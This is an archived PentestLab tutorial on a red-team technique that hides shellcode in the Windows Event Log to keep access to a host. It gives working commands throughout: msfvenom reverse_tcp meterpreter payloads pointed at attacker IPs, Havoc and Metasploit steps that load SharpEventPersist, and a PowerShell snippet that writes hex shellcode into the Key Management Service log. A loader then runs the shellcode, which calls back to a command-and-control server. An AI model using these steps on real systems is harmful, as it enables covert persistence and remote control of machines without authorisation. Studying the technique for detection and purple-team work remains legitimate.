CyberIntel ⬡ News
★ Saved ◆ Cyber Reads
← Back ◎ How-To & Tutorials

Persistence – Event Log

PentestLab Archived Mar 17, 2026 ✓ Full text saved

Windows Event logs are the main source of information for defensive security teams to identify threats and for administrators to troubleshoot errors. The logs are… Continue reading → Persistence – Event Log

Full text archived locally
✦ AI Summary · Claude Sonnet


    Windows Event logs are the main source of information for defensive security teams to identify threats and for administrators to troubleshoot errors. The logs are represented in a structured format (XML) for easy review. In windows events logs are stored related to applications, security and system. Due to the nature of the information stored it is not uncommon for sophisticated threat actors and red teams to conduct attacks against Windows Event logs that will clear the logs, stop the service or the thread in order to prevent identification of arbitrary activities. Log files are stored both in the registry and in a Windows folder and are accessible via the Event Viewer (eventvwr.exe). %SystemRoot%\System32\Winevt\Logs\ Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ Typically, administrators have the permissions to write binary data and text to event logs. Execution of the following command will write a text message into the Application logs with EventID 916. 1 Write-EventLog -LogName "Application" -Source "Microsoft-Windows-User-Loader" -EventId 916 -EntryType Information -Message "Pentestlab.blog" -Category 2 -RawData 65,66,67,68 Write Event Log It is also feasible to read logs from a PowerShell console in order to confirm that the event log has been created. 1 Get-EventLog -Newest 1 -LogName "Application" -Source "Microsoft-Windows-User-Loader" -Message "Provider Pentestlab*" | Format-List -Property * Read Log Entry Since it is possible for an administrator to create event log entries and Windows Events are accepting binary data, it could be used as a storage of beacon during red team operations. The company Improsec developed a tool called SharpEventPersist which can be used to write shellcode into the Windows Event log in order to establish persistence. The shellcode is converted to hexadecimal value and it is written in the Key Management Service. Improsec, also released a secondary binary which acts as a loader in order to retrieve and execute the shellcode from the Windows Event Log. The following diagram displays the technique: Event Log Persistence – Diagram Havoc C2 has the capability to generate Windows Shellcode in .bin format using a combination of evasion techniques. Havoc .bin Shellcode Once the .bin shellcode is generated the file must transferred into the target host. Havoc C2 can execute .NET assemblies therefore the SharpEventPersist must be loaded into the memory of an existing implant. Execution of the command below will create an event log entry and store the shellcode. dotnet inline-execute /home/kali/SharpEventPersist.exe -file C:\tmp\demon.x64.bin -instanceid 1337 -source 'Persistence' -eventlog 'Key Management Service' Havoc – SharpEventPersist The following image represents the Event log entry with the arbitrary code. Event Log Shellcode When the SharpLoader is executed the Shellcode will run and the implant will call back to the Command and Control Framework. The SharpLoader could be set to run in an automatic manner using a different method such as using a Scheduled Task, Registry Run keys or converted the executable into a DLL in order to side-load with another legitimate binary. Havoc C2 Metasploit Metasploit Framework has similar capabilities both in generation of shellcode in .bin format and on the execution of .NET assemblies via the execute-assembly module. The utility msfvenom can generate x64 bit shellcode. msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o beacon.bin LHOST=10.0.0.1 LPORT=2000 Once the SharpEventPersist is executed an entry will appear in the Key Management Service logs. SharpEventPersist.exe -file beacon.bin -instanceid 1337 -source Persistence Utilizing the execute_dotnet_assembly post exploitation module the SharpEventPersist will loaded into the memory of the process notepad.exe and an entry will appear in the Key Management Service logs. use post/windows/manage/execute_dotnet_assembly SharpEventPersist – CMD Persistence Event Log – Metasploit Execute Assembly Key Management Service Hexadecimal Shellcode The metasploit module multi/handler must be in listening mode in order to capture the connection when the SharpEventLoader is executed. SharpEventLoader.exe Persistence Event Log – Meterpreter Tim Fowler developed in C# a tool which can retrieve the log entries from the Key Management Service and inject the payload into the current process. Similarly, Metasploit Framework utility msfvenom can generate the payload in hexadecimal format by executing the following: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=4444 -f hex Metasploit Hexadecimal Payload From an elevated PowerShell session it is possible to use the shellcode in order to create a new event log entry similarly with the behavior of SharpEventPersist tool. 1 2 3 4 $payload = 'Insert Shellcode as Hex Literal String' $hashByteArray = [byte[]] ($payload -replace '..', '0x$&,' -split ',' -ne '') Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 31337 -EntryType Information -Category 0 -Message 'Pentestlab' -RawData $HashByteArray .\EventLogsForRedTeams.exe Persistence Event Log – PowerShell When the proof of concept tool is executed the shellcode will executed which will lead to a C2 connection. Persistence Event Log – Meterpreter PowerShell The beacon will be stored in hexadecimal format in the event log. Persistence Event Log – Hexadecimal Payload References https://github.com/improsec/SharpEventPersist https://github.com/roobixx/EventLogForRedTeams https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/ https://medium.com/@5yx/windows-event-log-to-the-dark-side-storing-payloads-and-configurations-9c8ad92637f2 Rate this: 4 Votes Share this: Loading... Related Persistence – Event Log Online Help March 7, 2023 In "Persistence" Persistence – Security Support Provider October 21, 2019 In "Persistence" PlexTrac – A Platform for Purple Teaming March 30, 2021 In "Reviews" Leave a comment
    💬 Team Notes
    Article Info
    Source
    PentestLab
    Category
    ◎ How-To & Tutorials
    Published
    Archived
    Mar 17, 2026
    Full Text
    ✓ Saved locally
    Open Original ↗